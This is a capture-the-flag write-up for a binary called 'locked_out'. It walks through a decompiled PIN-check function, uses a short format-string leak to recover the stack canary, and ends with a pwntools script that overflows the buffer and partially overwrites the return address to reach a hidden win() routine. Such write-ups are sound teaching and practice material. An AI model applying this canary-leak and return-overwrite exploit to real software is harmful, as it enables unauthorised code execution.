$ checksec --file=locked_out
RELRO STACK CANARY NX PIE
Partial RELRO Canary found NX enabled PIE enabledAll protections on — no shellcode, no fixed addresses.
After decompiling the binary, we find that main() eventually calls the following function:
void play(void)
{
undefined4 uVar1;
int32_t iVar2;
uint8_t auVar3[4];
int64_t in_FS_OFFSET;
char *format;
int32_t var_14h;
int64_t canary;
canary = *(int64_t *)(in_FS_OFFSET + 0x28);
var_14h = 4;
uVar1 = time(0);
srand(uVar1);
iVar2 = rand();
pincode = (uint8_t [4])(iVar2 % 10000);
do {
if (var_14h < 1) {
code_r0x0000138d:
if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
memset(&format, 0, 5);
printf("Please enter PIN: ");
read(0, &format, 0x20);
format._4_1_ = 0;
auVar3 = (uint8_t [4])atoi(&format);
if (auVar3 == pincode) {
puts("Correct! Door is unlocked.");
goto code_r0x0000138d;
}
var_14h = var_14h + -1;
printf(&format);
printf(" is wrong! %d tries left.\n\n", var_14h);
} while( true );
}The program asks the user to guess a PIN, when the correct PIN is provided, the application only prints a success message and exits the function normally. The hidden win() routine is never invoked. Although the PIN is generated using rand() % 10000 seeded with the current time, making it relatively easy to predict, obtaining it does not lead to code execution or flag disclosure.
When a wrong PIN is entered, user input is passed directly to printf(), creating a format string vulnerability. Under normal circumstances this would allow extensive stack disclosure, but the program truncates the input by setting buf[4] to a null byte immediately after reading it. This restriction limits the format string to four characters, meaning only compact specifiers such as %9$p can be used. Even with this limitation, the bug remains sufficient for leaking important stack values.
The critical vulnerability is a stack-based buffer overflow. The application reads up to 32 bytes of user-controlled data into a buffer that is smaller than the amount being read:
read(0, buf, 0x20);Since win() (0x13da) and the real return address in main() (0x13bf) sit on the same 4 KB page of the PIE binary, only the lowest byte of the return address needs to change (0xbf -> 0xda), the rest is unaffected by ASLR, since PIE bases are always page-aligned.
Canary leak with %9$p, then place the leaked value back at buf+12 to bypass the canary check.
tries : Set buf+8 to 0. After tries--, it becomes negative, making tries > 0 false and allowing the function to return into win().
from pwn import *
context.log_level = 'info'
p = process("./locked_out")
p.recvuntil(b"PIN: ")
p.send(b"%9$p")
line = p.recvline()
canary = int(line.split(b' ')[0], 16)
log.info("leaked canary = %#x" % canary)
payload = b"A" * 4
payload += b"B" * 4
payload += p32(0)
payload += p64(canary)
payload += b"C" * 8
payload += b"\xda"
p.recvuntil(b"PIN: ")
p.send(payload)
out = p.recvall(timeout=5)
print(out.decode(errors="replace"))brunner{REDACTED}